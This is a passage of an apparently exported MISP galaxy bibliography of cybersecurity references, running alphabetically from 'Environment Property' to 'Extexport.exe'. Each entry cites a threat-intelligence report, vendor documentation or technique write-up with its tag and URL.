Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.

The tag is: *misp-galaxy:references="Microsoft Environment Property"*

Table 20546. Table References

Links
https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN

MSDN Environment Property

Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.

The tag is: *misp-galaxy:references="MSDN Environment Property"*

Table 20547. Table References

Links
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx

Envoy Panda Profile

CrowdStrike. (n.d.). Envoy Panda Profile. Retrieved February 28, 2025.

The tag is: *misp-galaxy:references="Envoy Panda Profile"*

Table 20548. Table References

Links
https://www.crowdstrike.com/adversaries/envoy-panda/

Kaspersky Equation QA

Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.

The tag is: *misp-galaxy:references="Kaspersky Equation QA"*

Table 20549. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf

erase_cmd_cisco

Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="erase_cmd_cisco"*

Table 20550. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463

Container Escape

0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Container Escape"*

Table 20551. Table References

Links
https://0xn3va.gitbook.io/cheat-sheets/container/escaping

Microsoft Esentutl

Microsoft. (2016, August 30). Esentutl. Retrieved September 3, 2019.

The tag is: *misp-galaxy:references="Microsoft Esentutl"*

Table 20552. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)

LOLBAS Esentutl

LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.

The tag is: *misp-galaxy:references="LOLBAS Esentutl"*

Table 20553. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Esentutl/

ESET APT Activity Report Q4 2023-Q1 2024

ESET Research. (2024, May 14). ESET APT Activity Report Q4 2023-Q1 2024. Retrieved September 1, 2024.

The tag is: *misp-galaxy:references="ESET APT Activity Report Q4 2023-Q1 2024"*

Table 20554. Table References

Links
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q4-2023-q1-2024.pdf

ESET Twitter Ida Pro Nov 2021

Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="ESET Twitter Ida Pro Nov 2021"*

Table 20555. Table References

Links
https://x.com/ESETresearch/status/1458438155149922312

ESET PowerPool Code October 2020

ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="ESET PowerPool Code October 2020"*

Table 20556. Table References

Links
https://x.com/ESETresearch/status/1311762215490461696

ESET FinFisher Jan 2018

Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.

The tag is: *misp-galaxy:references="ESET FinFisher Jan 2018"*

Table 20557. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

ESET Trickbot Oct 2020

Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021.

The tag is: *misp-galaxy:references="ESET Trickbot Oct 2020"*

Table 20558. Table References

Links
https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/

WeLiveSecurity April 19 2022

Jean-Ian Boutin, Tomáš Procházka. (2022, April 19). ESET takes part in global operation to disrupt Zloader botnets | WeLiveSecurity. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="WeLiveSecurity April 19 2022"*

Table 20559. Table References

Links
https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/

Riskiq Remcos Jan 2018

Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="Riskiq Remcos Jan 2018"*

Table 20560. Table References

Links
https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/

EventLog_Core_Technologies

Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="EventLog_Core_Technologies"*

Table 20561. Table References

Links
https://www.coretechnologies.com/blog/windows-services/eventlog/

Establishing persistence using extended attributes on Linux

kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Establishing persistence using extended attributes on Linux"*

Table 20562. Table References

Links
https://kernal.eu/posts/linux-xattr-persistence/

ESXCLI Overview

Vmware. (n.d.). ESXCLI Overview. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="ESXCLI Overview"*

Table 20563. Table References

Links
https://developer.vmware.com/web/tool/7.0/esxcli

Broadcom ESXCLI Reference

Broadcom. (n.d.). ESXCLI Reference. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Broadcom ESXCLI Reference"*

Table 20564. Table References

Links
https://developer.broadcom.com/xapis/esxcli-command-reference/latest/

Recorded Future ESXiArgs Ransomware 2023

German Hoeffner, Aaron Soehnen and Gianni Perez. (2023, February 7). ESXiArgs Ransomware Targets Publicly-Exposed ESXi OpenSLP Servers. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Recorded Future ESXiArgs Ransomware 2023"*

Table 20565. Table References

Links
https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

Elastic ESXI Discovery via Find

Elastic. (n.d.). ESXI Discovery via Find. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Elastic ESXI Discovery via Find"*

Table 20566. Table References

Links
https://www.elastic.co/guide/en/security/current/esxi-discovery-via-find.html

Elastic ESXI Discovery via Grep

Elastic. (n.d.). ESXI Discovery via Grep. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Elastic ESXI Discovery via Grep"*

Table 20567. Table References

Links
https://www.elastic.co/guide/en/security/current/esxi-discovery-via-grep.html

Sygnia ESXi Ransomware 2024

Nital Ruzin and Omer Kidron. (2024, May 15). ESXi Ransomware Attacks: Evolution, Impact, and

Defense Strategy. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="Sygnia ESXi Ransomware 2024"*

Table 20568. Table References

Links
https://www.sygnia.co/blog/esxi-ransomware-attacks/

Sygnia ESXi Ransomware 2025

Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Sygnia ESXi Ransomware 2025"*

Table 20569. Table References

Links
https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/

ISACA Malware Tricks

Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="ISACA Malware Tricks"*

Table 20570. Table References

Links
https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes

ThreatStream Evasion Analysis

Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.

The tag is: *misp-galaxy:references="ThreatStream Evasion Analysis"*

Table 20571. Table References

Links
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Anomali Evasive Maneuvers July 2015

Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.

The tag is: *misp-galaxy:references="Anomali Evasive Maneuvers July 2015"*

Table 20572. Table References

Links
https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

ESET EvasivePanda 2023

Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.

The tag is: *misp-galaxy:references="ESET EvasivePanda 2023"*

Table 20573. Table References

Links
https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/

ESET EvasivePanda 2024

Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.

The tag is: *misp-galaxy:references="ESET EvasivePanda 2024"*

Table 20574. Table References

Links
https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/

Unit42 OilRig Playbook 2023

Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.

The tag is: *misp-galaxy:references="Unit42 OilRig Playbook 2023"*

Table 20575. Table References

Links

https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens

Perception Point

Arthur Vaiselbuh, Peleg Cabra. (2024, November 7). Evasive ZIP Concatenation: Trojan Targets Windows Users. Retrieved March 3, 2025.

The tag is: *misp-galaxy:references="Perception Point"*

Table 20576. Table References

Links
https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/

Microsoft EventLog.Clear

Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.

The tag is: *misp-galaxy:references="Microsoft EventLog.Clear"*

Table 20577. Table References

Links
https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx

evt_log_tampering

svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="evt_log_tampering"*

Table 20578. Table References

Links
https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c

Microsoft ETW May 2018

Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.

The tag is: *misp-galaxy:references="Microsoft ETW May 2018"*

Table 20579. Table References

Links
https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal

Eventvwr.exe - LOLBAS Project

LOLBAS. (2018, November 1). Eventvwr.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Eventvwr.exe - LOLBAS Project"*

Table 20580. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/

Secure Ideas SMB Relay

Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.

The tag is: *misp-galaxy:references="Secure Ideas SMB Relay"*

Table 20581. Table References

Links
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html

CSV Excel Macro Injection

Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.

The tag is: *misp-galaxy:references="CSV Excel Macro Injection"*

Table 20582. Table References

Links
https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/

Avertium callback phishing

Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.

The tag is: *misp-galaxy:references="Avertium callback phishing"*

Table 20583. Table References

Links
https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing

Outpost24 April 5 2023

Alberto MarÃn. (2023, April 5). Everything you need to know about the LummaC2 stealer Leveraging IDA Python and Unicorn to deobfuscate Windows API hashing. Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="Outpost24 April 5 2023"*

Table 20584. Table References

Links
https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer/

Intezer Aurora Sept 2017

Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.

The tag is: *misp-galaxy:references="Intezer Aurora Sept 2017"*

Table 20585. Table References

Links
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/

Cyphort EvilBunny Dec 2014

Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.

The tag is: *misp-galaxy:references="Cyphort EvilBunny Dec 2014"*

Table 20586. Table References

Links
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/

Cyphort EvilBunny

Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Cyphort EvilBunny"*

Table 20587. Table References

Links

https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/

Evil Clippy May 2019

Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.

The tag is: *misp-galaxy:references="Evil Clippy May 2019"*

Table 20588. Table References

Links
https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/

Cyble August 19 2022

Cybleinc. (2022, August 19). EvilCoder Project Selling Multiple Dangerous Tools Online. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Cyble August 19 2022"*

Table 20589. Table References

Links
https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/

Evilginx 2 July 2018

Gretzky, K.. (2018, July 26). Evilginx 2 - Next Generation of Phishing 2FA Tokens. Retrieved October 14, 2019.

The tag is: *misp-galaxy:references="Evilginx 2 July 2018"*

Table 20590. Table References

Links
https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/

Evilginx Sources & Methods December 2023

Matthew Conway. (2023, December 14). Evilginx Phishing Proxy. Retrieved January 3, 2023.

The tag is: *misp-galaxy:references="Evilginx Sources & Methods December 2023"*

Table 20591. Table References

Links
https://sourcesmethods.com/evilginx-phishing-proxy/

SentinelOne EvilQuest Ransomware Spyware 2020

Phil Stokes. (2020, July 8). “EvilQuest” Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="SentinelOne EvilQuest Ransomware Spyware 2020"*

Table 20592. Table References

Links
https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/

Kaspersky evil twin

AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="Kaspersky evil twin"*

Table 20593. Table References

Links
https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks

SaaS Attacks GitHub Evil Twin Integrations

Push Security. (n.d.). Evil twin integrations. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="SaaS Attacks GitHub Evil Twin Integrations"*

Table 20594. Table References

Links
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md

Cisco Synful Knock Evolution

Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco Synful Knock Evolution"*

Table 20595. Table References

Links
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices

SCILabs URSA/Mispadu Evolution 2023

SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="SCILabs URSA/Mispadu Evolution 2023"*

Table 20596. Table References

Links
https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/

Securelist JSWorm

Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.

The tag is: *misp-galaxy:references="Securelist JSWorm"*

Table 20597. Table References

Links
https://securelist.com/evolution-of-jsworm-ransomware/102428/

Kaspersky September 4 2024

Fedor Sinitsyn. (2024, September 4). Evolution of Mallox from private ransomware to RaaS. Retrieved September 5, 2024.

The tag is: *misp-galaxy:references="Kaspersky September 4 2024"*

Table 20598. Table References

Links
https://securelist.com/mallox-ransomware/113529/

S2 Grupo TrickBot June 2017

Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.

The tag is: *misp-galaxy:references="S2 Grupo TrickBot June 2017"*

Table 20599. Table References

Links
https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf

Unit 42 Valak July 2020

Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved

August 31, 2020.

The tag is: *misp-galaxy:references="Unit 42 Valak July 2020"*

Table 20600. Table References

Links
https://unit42.paloaltonetworks.com/valak-evolution/

Microsoft - Device Registration

Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers' toolbox for victims without MFA. Retrieved March 4, 2022.

The tag is: *misp-galaxy:references="Microsoft - Device Registration"*

Table 20601. Table References

Links
https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa

Amnesty OAuth Phishing Attacks, August 2019

Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Amnesty OAuth Phishing Attacks, August 2019"*

Table 20602. Table References

Links
https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/

RSAC 2015 Abu Dhabi Stefano Maccaglia

Maccaglia, S. (2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.

The tag is: *misp-galaxy:references="RSAC 2015 Abu Dhabi Stefano Maccaglia"*

Table 20603. Table References

Links
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.11.04_Evolving_Threats/cct-w08_evolving-threats-dissection-of-a-cyber-espionage-attack.pdf

Microsoft Iranian Threat Actor Trends November 2021

MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.

The tag is: *misp-galaxy:references="Microsoft Iranian Threat Actor Trends November 2021"*

Table 20604. Table References

Links
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021

Palo Alto Unit 42 VBA Infostealer 2014

Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 VBA Infostealer 2014"*

Table 20605. Table References

Links
https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/

Trend Micro Black Basta May 2022

Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware's Infection Routine. Retrieved March 7, 2023.

The tag is: *misp-galaxy:references="Trend Micro Black Basta May 2022"*

Table 20606. Table References

Links
https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html

Mandiant Glyer APT 2010

Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="Mandiant Glyer APT 2010"*

Table 20607. Table References

Links
https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf

Symantec BlackByte 2022

Symantec Threat Hunter Team. (2022, October 21). Exbyte: BlackByte Ransomware Attackers Deploy New Exfiltration Tool. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="Symantec BlackByte 2022"*

Table 20608. Table References

Links
https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware

Excel.exe - LOLBAS Project

LOLBAS. (2019, July 19). Excel.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Excel.exe - LOLBAS Project"*

Table 20609. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/

Microsoft Tim McMichael Exchange Mail Forwarding 2

McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Microsoft Tim McMichael Exchange Mail Forwarding 2"*

Table 20610. Table References

Links
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/

DFIR Phosphorus November 2021

DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.

The tag is: *misp-galaxy:references="DFIR Phosphorus November 2021"*

Table 20611. Table References

Links
https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/

Mandiant UNC2596 Cuba Ransomware February 2022

Tyler McLellan, Joshua Shilko, Shambavi Sadayappan. (2022, February 23). (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Mandiant UNC2596 Cuba Ransomware February 2022"*

Table 20612. Table References

Links
https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware

ExchangePowerShell Module

Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.

The tag is: *misp-galaxy:references="ExchangePowerShell Module"*

Table 20613. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes

ESET Exchange Mar 2021

Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.

The tag is: *misp-galaxy:references="ESET Exchange Mar 2021"*

Table 20614. Table References

Links
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

Executable Installers are Vulnerable

Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Executable Installers are Vulnerable"*

Table 20615. Table References

Links
https://seclists.org/fulldisclosure/2015/Dec/34

Seclists Kanthak 7zip Installer

Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved March 10, 2017.

The tag is: *misp-galaxy:references="Seclists Kanthak 7zip Installer"*

Table 20616. Table References

Links
http://seclists.org/fulldisclosure/2015/Dec/34

Redxorblue Remote Template Injection

Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.

The tag is: *misp-galaxy:references="Redxorblue Remote Template Injection"*

Table 20617. Table References

Links
http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html

Microsoft PSfromCsharp APR 2014

Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Microsoft PSfromCsharp APR 2014"*

Table 20618. Table References

Links
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/

PAM Creds

Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="PAM Creds"*

Table 20619. Table References

Links
https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

Microsoft Expand Utility

Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019.

The tag is: *misp-galaxy:references="Microsoft Expand Utility"*

Table 20620. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand

LOLBAS Expand

LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019.

The tag is: *misp-galaxy:references="LOLBAS Expand"*

Table 20621. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Expand/

polymorphic-medium

Shellseekercyber. (2024, January 7). Explainer: Packed Malware. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="polymorphic-medium"*

Table 20622. Table References

Links
https://medium.com/@shellseekerscyber/explainer-packed-malware-16f09cc75035

Proofpoint WinterVivern 2023

Michael Raggi & The Proofpoint Threat Research Team. (2023, March 30). Exploitation is a Dish Best Served Cold: Winter Vivern Uses Known Zimbra Vulnerability to Target Webmail Portals of NATO-Aligned Governments in Europe. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="Proofpoint WinterVivern 2023"*

Table 20623. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability

Mandiant CVE-2023-3519 Exploitation

James Nugent, Foti Castelan, Doug Bienstock, Justin Moore, Josh Murchie. (2023, July 21). Exploitation of Citrix Zero-Day by Possible Espionage Actors (CVE-2023-3519). Retrieved July 24, 2023.

The tag is: *misp-galaxy:references="Mandiant CVE-2023-3519 Exploitation"*

Table 20624. Table References

Links
https://www.mandiant.com/resources/blog/citrix-zero-day-espionage

Exploit Database

Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Exploit Database"*

Table 20625. Table References

Links
https://www.exploit-db.com/

Rhino Labs Cloud Image Backdoor Technique Sept 2019

Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Rhino Labs Cloud Image Backdoor Technique Sept 2019"*

Table 20626. Table References

Links
https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/

Azure AD PTA Vulnerabilities

Dr. Nestori Syynimaa. (2022, September 20). Exploiting Azure AD PTA vulnerabilities: Creating backdoor and harvesting credentials. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="Azure AD PTA Vulnerabilities"*

Table 20627. Table References

Links
https://o365blog.com/post/pta/

Exploiting Smartphone USB

Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.

The tag is: *misp-galaxy:references="Exploiting Smartphone USB"*

Table 20628. Table References

Links
https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf

versprite xpc vpn

VerSprite. (2018, January 24). Exploiting VyprVPN for MacOS. Retrieved April 20, 2022.

The tag is: *misp-galaxy:references="versprite xpc vpn"*

Table 20629. Table References

Links
https://versprite.com/blog/exploiting-vyprvpn-for-macos/

Explorer.exe - LOLBAS Project

LOLBAS. (2020, June 24). Explorer.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Explorer.exe - LOLBAS Project"*

Table 20630. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Explorer/

Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023

Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023"*

Table 20631. Table References

Links
https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/

Trend Micro Emotet Jan 2019

Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Trend Micro Emotet Jan 2019"*

Table 20632. Table References

Links
https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf

SecurityTrails Google Hacking

Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="SecurityTrails Google Hacking"*

Table 20633. Table References

Links
https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks

Medium SSL Cert

Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Medium SSL Cert"*

Table 20634. Table References

Links
https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2

TrendMicro Exposed Redis 2020

David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="TrendMicro Exposed Redis 2020"*

Table 20635. Table References

Links
https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html

Magnet Forensics

Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="Magnet Forensics"*

Table 20636. Table References

Links
https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/

trendmicro.com May 24 2022

trendmicro.com. (2022, May 24). Exposing Earth Berberoka A Multiplatform APT Campaign Targeting Online Gambling Sites. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="trendmicro.com May 24 2022"*

Table 20637. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/exposing-earth-berberoka-a-multiplatform-apt-campaign-targeting-online-gambling-sites

Google EXOTIC LILY March 2022

Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Google EXOTIC LILY March 2022"*

Table 20638. Table References

Links
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

Microsoft POLONIUM June 2022

Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.

The tag is: *misp-galaxy:references="Microsoft POLONIUM June 2022"*

Table 20639. Table References

Links

https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/

External to DA, the OS X Way

Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="External to DA, the OS X Way"*

Table 20640. Table References

Links
https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418

Extexport.exe - LOLBAS Project

